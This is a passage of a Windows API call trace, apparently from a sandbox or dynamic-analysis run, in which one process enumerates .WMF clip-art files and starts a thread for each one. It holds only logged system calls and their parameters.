	[0193.889] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.889] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1
	[0193.889] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1158
	[0193.892] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.893] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1
	[0193.893] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x115c
	[0193.895] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.896] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1
	[0193.896] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1160
	[0193.898] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.899] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1
	[0193.899] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1164
	[0193.902] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.902] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1
	[0193.902] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1168
	[0193.905] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0193.906] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1
	[0193.906] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0193.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x116c
	[0194.024] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.025] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1
	[0194.025] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1170
	[0194.028] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.028] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1
	[0194.028] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1174
	[0194.031] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.031] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1
	[0194.031] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1178
	[0194.041] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.041] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1
	[0194.042] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x117c
	[0194.045] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.045] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b9b100, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63b9b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00262_.WMF", cAlternateFileName="")) returned 1
	[0194.045] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1180
	[0194.048] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.048] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1
	[0194.049] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1184
	[0194.053] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.053] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1
	[0194.053] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1188
	[0194.062] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.063] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1
	[0194.063] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118c
	[0194.067] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.067] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1
	[0194.067] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1190
	[0194.070] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.071] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00273_.WMF", cAlternateFileName="")) returned 1
	[0194.071] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1194
	[0194.383] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.384] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e80900, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e80900, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x1044, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00274_.WMF", cAlternateFileName="")) returned 1
	[0194.384] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1198
	[0194.387] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.387] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac309900, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac309900, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00296_.WMF", cAlternateFileName="")) returned 1
	[0194.387] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.388] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x119c
	[0194.390] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.390] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf533800, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf533800, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00390_.WMF", cAlternateFileName="")) returned 1
	[0194.390] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a0
	[0194.393] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.393] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf0de00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcf0de00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x69aa, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00392_.WMF", cAlternateFileName="")) returned 1
	[0194.393] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a4
	[0194.397] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.398] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65d6900, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd65d6900, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1b54, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00524_.WMF", cAlternateFileName="")) returned 1
	[0194.398] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a8
	[0194.401] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.401] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd52c3c00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd52c3c00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2576, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00525_.WMF", cAlternateFileName="")) returned 1
	[0194.404] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ac
	[0194.408] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.408] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1
	[0194.408] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b0
	[0194.411] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.412] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1
	[0194.412] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b4
	[0194.414] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.415] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1
	[0194.415] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b8
	[0194.417] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0194.418] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74832900, ftCreationTime.dwHighDateTime=0x1bd4bf7, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74832900, ftLastWriteTime.dwHighDateTime=0x1bd4bf7, nFileSizeHigh=0x0, nFileSizeLow=0x1870, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00923_.WMF", cAlternateFileName="")) returned 1
	[0194.418] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0194.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11bc
	[0195.020] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0195.021] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c14, dwReserved0=0x72, dwReserved1=0x0, cFileName="BL00932_.WMF", cAlternateFileName="")) returned 1
	[0195.022] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
